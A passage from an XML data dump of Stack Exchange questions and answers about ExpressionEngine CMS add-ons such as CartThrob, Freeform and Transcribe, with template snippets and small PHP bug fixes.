conditionals&lt;/strong&gt; and wouldn't work.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could wrap the whole Freeform code in whatever Transcribe/Structure/Freebie conditionals/tags you want. This would repeat a lot of the same code multiple times, but would also get around your problem.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-08-15T07:43:27.210" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25121" PostTypeId="2" ParentId="25119" CreationDate="2014-08-15T08:01:25.230" Score="0" Body="&lt;p&gt;Since Cartthrob uses regular channels and entries there is no reason it would not work with one of the multi-language add-ons such as; &lt;a href=&quot;http://devot-ee.com/add-ons/multi-language-support&quot; rel=&quot;nofollow&quot;&gt;Multi language support&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/multi-language-module&quot; rel=&quot;nofollow&quot;&gt;Multilanguage Module&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could even create your own system by adding some extra fields to your entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you have a text field for a product description named {product-description} you could create a French version called {fr-product-description}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then create your url structure and templates to use a language code within the urls. So the English version might be /en/products/my-product and the French version would be /fr/products/my-product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then look for the first url segment and inject it into any custom field tags that you output to the template, or use conditionals to switch out the different language content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I'm going to have to test this now as I'm unsure whether it will work. Worth a try though if you don't want to use an add-on.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-08-15T08:01:25.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25122" PostTypeId="2" ParentId="25114" CreationDate="2014-08-15T09:09:04.747" Score="0" Body="&lt;p&gt;You can certainly do this with Cartthrob but just to add another option you could also do it with something like &lt;a href=&quot;http://devot-ee.com/add-ons/remember-me&quot; rel=&quot;nofollow&quot;&gt;RememberMe&lt;/a&gt; to build an &quot;enquiry list&quot; and then feed the list into a form field and send an email (perhaps using Freeform).&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-08-15T09:09:04.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25123" PostTypeId="2" ParentId="25104" CreationDate="2014-08-15T09:26:45.370" Score="3" Body="&lt;p&gt;It's rather awkward that hook is being called every time. Low Search uses the hook to update collections when a channel field is deleted; it's the only hook that can be used to for that action. However, the same hook appears to be called for other reasons too, but LS won't take any action there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can disable LS for that hook only by setting the &lt;code&gt;enabled&lt;/code&gt; column to &lt;code&gt;n&lt;/code&gt; in the &lt;code&gt;exp_extensions&lt;/code&gt; table for class &lt;code&gt;Low_search_ext&lt;/code&gt; and method/hook &lt;code&gt;custom_field_modify_data&lt;/code&gt;. Then EE won't call LS for that hook, which should improve things. Do keep in mind that if you delete a field that is part of a search collection, you then need to update the collection manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the most ideal solution would be for EE to call a separate hook for field deletion, so LS can use that instead of this multi-purpose hook.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-08-15T09:26:45.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25124" PostTypeId="2" ParentId="25118" CreationDate="2014-08-15T10:32:36.233" Score="3" Body="&lt;p&gt;This is a known bug in 2.9.0 and will probably soonish be fixed in an update&lt;br&gt;&#xA;See: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20462/grid-fieldtype-brings-up-warning-when-rows-are-present-on-entry-submit&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20462/grid-fieldtype-brings-up-warning-when-rows-are-present-on-entry-submit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(ps. bug report includes patch/fix)&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2014-08-15T10:32:36.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25126" PostTypeId="2" ParentId="25117" CreationDate="2014-08-15T10:51:40.150" Score="2" Body="&lt;p&gt;You can simply make entries for the return pages, and have transcribe handle it for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i do is to embed the form: &#xA;{embed=&quot;_inc/.contact_form&quot; thepath=&quot;{exp:transcribe:uri path='/contact/thank-you/'}&quot;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:forms_js_validation:init lang=&quot;{transcribe:language_abbreviation}&quot;}&#xA;    {exp:forms_js_validation:add &#xA;     selector=&quot;form&quot; &#xA;     require_class=&quot;required&quot;&#xA;     email_class=&quot;require_email&#xA;    }&#xA;    {exp:freeform:form&#xA;    form:id=&quot;2&quot;&#xA;    form:class=&quot;custom&quot;&#xA;    form_name=&quot;more_info&quot;&#xA;    return=&quot;{embed:thepath}&quot;&#xA;    }&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="215" LastActivityDate="2014-08-15T10:51:40.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25127" PostTypeId="1" CreationDate="2014-08-15T12:02:09.293" Score="0" ViewCount="105" Body="&lt;p&gt;Have an installation of Cartthrob Subscriptions 2.6 installed and semi working with a SagePay Offsite test account which has token and repeat enabled and a continuous authority merchant number attached. I can successfully purchase a subscription using the Sage Pay test CC details, however when it comes to rebill the subscription the following error appears:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The transaction was not registered because although the data sent to&#xA;  the payment gateway was formatted correctly, some information supplied&#xA;  was invalid. E.g. an incorrect vendor name or currency code was&#xA;  sent.5017 : The Security Code(CV2) is required.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Anybody else seen this before with Sage Pay or have any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="759" LastActivityDate="2016-05-17T15:52:54.677" Title="Cartthrob Subscriptions 5017 Rebill Sage Pay Error" Tags="|cartthrob|subscriptions|sagepay|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25128" PostTypeId="1" CreationDate="2014-08-15T14:56:29.223" Score="0" ViewCount="148" Body="&lt;p&gt;EE 2.7.2&#xA;CT 2.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on a live cartthrob site that I inherited and there are php errors on the checkout pages, but only when logged in. Is there a known fix for this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Array to string conversion&#xA;&#xA;Filename: libraries/Template.php&#xA;&#xA;Line Number: 3784&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Array to string conversion&#xA;&#xA;Filename: libraries/Template.php&#xA;&#xA;Line Number: 3784&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Array to string conversion&#xA;&#xA;Filename: libraries/Template.php&#xA;&#xA;Line Number: 3784&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at /path/to/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: libraries/Functions.php&#xA;&#xA;Line Number: 809&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at /path/to/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: libraries/Functions.php&#xA;&#xA;Line Number: 809&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at /path/to/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: libraries/Functions.php&#xA;&#xA;Line Number: 809&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at /path/to/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: libraries/Functions.php&#xA;&#xA;Line Number: 414&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-08-15T15:11:05.193" Title="Cartthrob php orders when logged in" Tags="|cartthrob|php-errors|checkout|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25129" PostTypeId="2" ParentId="25128" CreationDate="2014-08-15T15:11:05.193" Score="1" Body="&lt;p&gt;I would update Cartthrob to V2.6 if i were you Sean!&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2014-08-15T15:11:05.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25130" PostTypeId="2" ParentId="25109" CreationDate="2014-08-15T16:20:27.587" Score="0" Body="&lt;p&gt;Per &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19631/code-blocks-in-email-notifications-from-bugtracker-are-a-jumble-of-unformat&quot; rel=&quot;nofollow&quot;&gt;this EE bug report&lt;/a&gt;: &quot;...code tags are being parsed...[a]nd we add our own styling when that’s done.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is expected behavior, but overrideable with CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.codeblock code, .codeblock span {&#xA;    color: [YOUR COLOR HERE] !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="673" LastActivityDate="2014-08-15T16:20:27.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25131" PostTypeId="2" ParentId="25103" CreationDate="2014-08-15T17:04:56.173" Score="1" Body="&lt;p&gt;If you're just pulling the latest entry from the Project channel without any category restrictions and want to pull the latest 2 images from that latest entry, and your categories are only 1 level deep, you can try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;project&quot; disable=&quot;pagination|member_data&quot; limit=&quot;1&quot; parse=&quot;inward&quot;}&#xA;    {proj_img limit=&quot;2&quot;}&#xA;        &amp;lt;div class=&quot;{image:switch='w1|w2'}&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;projects/{categories}{category_url_title}{/categories}/{url_title}&quot; title=&quot;{title}&quot;&amp;gt;&#xA;                &amp;lt;img src=&quot;{image:url:sml}&quot; alt=&quot;{image:title}&quot; width=&quot;112&quot; height=&quot;112&quot; border=&quot;0&quot; /&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/proj_img}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2692" LastActivityDate="2014-08-15T17:04:56.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25132" PostTypeId="1" AcceptedAnswerId="25139" CreationDate="2014-08-15T17:35:08.180" Score="0" ViewCount="72" Body="&lt;p&gt;Is there any way to get displayed order date in the order confirmation email template? I know about &lt;code&gt;{order_date}&lt;/code&gt; tag but it comes as unix datestamp and I have no clue how to convert it to regular date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-08-15T17:43:57.003" LastActivityDate="2014-08-15T22:30:36.853" Title="Expresso Store: Order Confirmation email template - order date" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25133" PostTypeId="1" AcceptedAnswerId="25136" CreationDate="2014-08-15T18:05:34.323" Score="0" ViewCount="87" Body="&lt;p&gt;Is there any way to pass to shipping confirmation email template a tracking number from the order? I have try to use order custom field but it comes as not editable at the store back end so when order is shipped then tracking number can be pasted.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-08-15T18:47:30.383" Title="Expresso Store: Shipping Confirmation email template - tracking number" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25134" PostTypeId="1" AcceptedAnswerId="26891" CreationDate="2014-08-15T18:40:11.690" Score="1" ViewCount="141" Body="&lt;p&gt;I've inherited an EE2.6 site, which was migrated from EE v1 by another developer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many articles that contain '?' characters throughout the text when displayed, they appear to be windows extended chars, and there are 1000's of articles, so too many to change by hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get these to display correctly? I have tried changing the encodings, on the page, and on the database connection, didn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;database settings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;['char_set'] = 'utf8';&#xA;&#xA;['dbcollat'] = 'utf8_general_ci';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;config&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['charset']  =  &quot;UTF-8&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will I have to run a global replace on the channel_data? Not sure I can identify and map all the original characters!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively can I use WIGWAM's 'paste from word' option retrospectively on existing content somehow?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2014-08-23T10:19:12.993" LastActivityDate="2015-02-23T15:43:36.623" Title="Question marks in 100's of articles throughout site" Tags="|templates|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25135" PostTypeId="1" CreationDate="2014-08-15T18:42:33.670" Score="0" ViewCount="177" Body="&lt;p&gt;Using a classic html select code Brasil as defaut option could be selected using &lt;strong&gt;selected&lt;/strong&gt; parameter: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;option value=&quot;África do Sul&quot;&amp;gt;África do Sul&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;Brasil&quot; selected&amp;gt;Brasil&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value= ............... &amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using the dropdown of P&amp;amp;T Field Pack, it's working fine, a Channel Field element implement the dropdown list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;select&amp;gt;&#xA;     {options:member_paises}&#xA;           &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_value}&amp;lt;/option&amp;gt;&#xA;      {/options:member_paises}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how to set Brasil, (or other option) as defaut option, like the classic html select code ??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="1918" LastEditorUserId="1918" LastEditDate="2014-08-16T02:23:44.330" LastActivityDate="2014-08-16T02:23:44.330" Title="dropdown P&amp;T Field Pack - selected option" Tags="|field-pack|pt-dropdown|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25136" PostTypeId="2" ParentId="25133" CreationDate="2014-08-15T18:47:30.383" Score="1" Body="&lt;p&gt;I have used &lt;code&gt;{order_status_message}&lt;/code&gt; in that case as other fields cannot be edited.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-08-15T18:47:30.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25138" PostTypeId="1" AcceptedAnswerId="25161" CreationDate="2014-08-15T22:09:03.993" Score="0" ViewCount="84" Body="&lt;p&gt;So I'm using this code to have users login from the front-end:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;col-lg-12 col-md-12&quot;&amp;gt;&#xA;            {if logged_out}&#xA;            {exp:member:login_form class=&quot;login&quot; id=&quot;login_form&quot; return=&quot;/login&quot;}           &#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;auto_login&quot; value=&quot;1&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;username&quot;&amp;gt;User Name&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;username&quot; placeholder=&quot;Username&quot; class=&quot;form-control&quot;/&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;                    &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; placeholder=&quot;Password&quot; class=&quot;form-control&quot;/&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-default&quot;&amp;gt;Submit&amp;lt;/button&amp;gt;&#xA;            {/exp:member:login_form}&#xA;            &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{site_url}{admin_path}.php?S=0&amp;amp;D=cp&amp;amp;C=login&amp;amp;M=forgotten_password_form&quot;&amp;gt;Forgot Password?&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;            {/if}&#xA;&#xA;            {if logged_in}&#xA;            &amp;lt;h2&amp;gt;You Are logged in as {screen_name}&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{site_url}{admin_path}.php&quot; target=&quot;_blank&quot;&amp;gt;Control Panel&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{site_url}{admin_path}.php?/cp/content_publish/entry_form&amp;amp;channel_id=3&amp;amp;entry_id=7&quot; class=&quot;cp&quot; target=&quot;_blank&quot;&amp;gt;Edit Global Elements&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{site_url}&quot;&amp;gt;Homepage&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='logout'}&quot;&amp;gt;Logout&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            {/if}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I'm not actually getting logged in. So it's like the &lt;code&gt;{if logged_in}{/if}&lt;/code&gt; isn't actually working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using that same code in older builds so it must be a bug right? :) My settings for &quot;Control Panel Session Type&quot; and &quot;Website Session Type&quot; are set to COOKIES ONLY.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also using the same &lt;code&gt;.htaccess&lt;/code&gt; I've always used as well.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-08-18T15:34:13.503" Title="Login Form|| Potential Bug || 2.9.0" Tags="|login|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25139" PostTypeId="2" ParentId="25132" CreationDate="2014-08-15T22:30:36.853" Score="1" Body="&lt;p&gt;You need to use the &lt;code&gt;format&lt;/code&gt; parameter. You can find the entire list of formatting codes &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/general/quick_reference.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{order_date format=&quot;%F %j %Y&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would output August 15 2014 if you purchased something today.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-08-15T22:30:36.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25140" PostTypeId="2" ParentId="25127" CreationDate="2014-08-15T22:59:14.240" Score="0" Body="&lt;p&gt;yep I came across this bug too. Was a long time ago, and had hoped they would have fixed it by now, but here's what I did:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open up /third_party/cartthrob/payment_gateways/Cartthrob_sage.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bug #1&lt;/strong&gt;: 3DSecure check must be disabled for rebills, so find &lt;code&gt;'Apply3DSecure' =&amp;gt; 0&lt;/code&gt; and change the &lt;code&gt;0&lt;/code&gt; to &lt;code&gt;2&lt;/code&gt; (weird that it's not supposed to be zero, but there you go... You can see the values in &lt;a href=&quot;http://web.archive.org/web/20120521160505/http://www.docstoc.com/docs/10745827/Sage-Pay-Form-Protocol-and-Integration-Guidelines&quot; rel=&quot;nofollow&quot;&gt;this ancient document&lt;/a&gt; p.38). On my old copy it's at line 379.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bug #2&lt;/strong&gt;: Then just after the $post_array variable is set (line 381 for me) we need to switch off the CVV2 check for rebills but keep it on for the initial transaction. &lt;a href=&quot;http://cartthrob.com/forums/viewthread/5053/P150/#25639&quot; rel=&quot;nofollow&quot;&gt;Buried deep in the old CT forums&lt;/a&gt; is a solution as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if ($this-&amp;gt;order('CVV2'))&#xA;    {&#xA;        $post_array['CV2'] = $this-&amp;gt;order('CVV2');&#xA;    } else {&#xA;        $post_array['ApplyAVSCV2'] = 2;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-08-15T22:59:14.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25141" PostTypeId="2" ParentId="25093" CreationDate="2014-08-16T01:08:45.840" Score="0" Body="&lt;p&gt;Unfortunately it's not possible to add a matching field requirement when using the Freeform Composer, unless you have a situation where:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;you know the exact names of the fields that would need to match, which you could hard-code in a custom Composer Template, or&lt;/li&gt;&#xA;&lt;li&gt;you know that for your form, all field of a specific fieldtype (eg. all text inputs) would &lt;em&gt;all&lt;/em&gt; require a matching field, which in this case you would also need to create a custom Composer Template.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You will also need the &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#matching_fields&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;matching_fields=&quot;&quot;&lt;/code&gt; parameter&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For 1&lt;/strong&gt;, you would create a custom Composer Template (either through the CP or by using {exp:freeform:composer} as a tag pair, &lt;a href=&quot;http://www.solspace.com/docs/freeform/composer/&quot; rel=&quot;nofollow&quot;&gt;see documentation&lt;/a&gt;), and add something like the following where appropriate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;{if:else} {!-- snippet code from default Composer Template --}&#xA;    {if composer:field_name == &quot;email&quot;}&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;email_confirm&quot; value=&quot;&quot; /&amp;gt;&#xA;    {if:else}&#xA;        &amp;lt;p&amp;gt;{composer:field_output}&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, you would need to know the name of the field beforehand. It's not automagic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For 2&lt;/strong&gt;, the approach is similar, but using &lt;code&gt;{composer:field_type}&lt;/code&gt; instead of &lt;code&gt;{composer:field_type}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course both approaches are not &quot;set and forget&quot; ways of adding this functionality when using Composer. I recommend submitting this as a &lt;strong&gt;Feature Request&lt;/strong&gt; under the specific add-on category. It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-08-16T01:08:45.840" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25142" PostTypeId="2" ParentId="25138" CreationDate="2014-08-16T07:28:02.213" Score="1" Body="&lt;p&gt;I just tested it with &lt;em&gt;ExpressionEngine v2.9.0 - Build Date: 20140715&lt;/em&gt;, with &quot;Control Panel Session Type&quot; and &quot;Website Session Type&quot; are set to COOKIES ONLY.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works as expected for me. So check if you really not login. Can be that you was not login in CP, but on site.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-08-16T07:28:02.213" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25145" PostTypeId="1" AcceptedAnswerId="25146" CreationDate="2014-08-17T13:04:49.130" Score="3" ViewCount="266" Body="&lt;p&gt;It appears that when using the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/urls/404pages.html#examples&quot; rel=&quot;nofollow&quot;&gt;recommended method&lt;/a&gt; of &lt;code&gt;{if no_results}{redirect=404}{/if}&lt;/code&gt; in a template that uses the template layout feature, it duplicates the layout, if a layout is also used on the actual 404 template. The 404 template lives at &lt;code&gt;errors/404&lt;/code&gt; it includes the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;errors/404 template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{layout=&quot;_layouts/master}&#xA;404 Error Content Here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When viewing a normal page that 404s (sitename.com/pagedoesntexist) it works as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;_layouts/master template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{layout=&quot;_layouts/_global}&#xA;   {embed=&quot;_embeds/header&quot;}&#xA;     {layout:contents}&#xA;   {embed=&quot;_embeds/footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On instances that do not work as expected it's set up like the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sample template using the 404 redirect tag&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{layout=&quot;_layouts/master}&#xA;{exp:channel:entries}&#xA;   Content Here&#xA;&#xA;   {if no_results}&#xA;     {redirect=404}&#xA;   {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This results in the file rendering the master layout twice (double header + footer in my instance) because the &lt;code&gt;{redirect=404}&lt;/code&gt; tag is essentially copying the results of the /errors/404 template into the template that contains no results instead of displaying the 404 page as usual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way around this bug, preferably that doesn't require enabling php in templates?&lt;/p&gt;&#xA;" OwnerUserId="133" LastActivityDate="2014-08-17T13:53:24.167" Title="Unexpected results when using {redirect=404} and template layouts" Tags="|404|error-pages|template-layouts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25146" PostTypeId="2" ParentId="25145" CreationDate="2014-08-17T13:53:24.167" Score="5" Body="&lt;p&gt;This is a known bug in EE 2.9.0: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20471/site-index-template-is-rendered-after-the-404-template&quot;&gt;https://support.ellislab.com/bugs/detail/20471/site-index-template-is-rendered-after-the-404-template&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fix from that thread:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open system/expressionengine/libraries/Template.php and find this code on line 2236:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;output-&amp;gt;out_type = &quot;404&quot;;&#xA;ee()-&amp;gt;output-&amp;gt;set_output($out);&#xA;ee()-&amp;gt;output-&amp;gt;_display();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And REPLACE it with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;output-&amp;gt;out_type = &quot;404&quot;;&#xA;ee()-&amp;gt;output-&amp;gt;set_output($out);&#xA;ee()-&amp;gt;output-&amp;gt;_display();&#xA;exit;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" 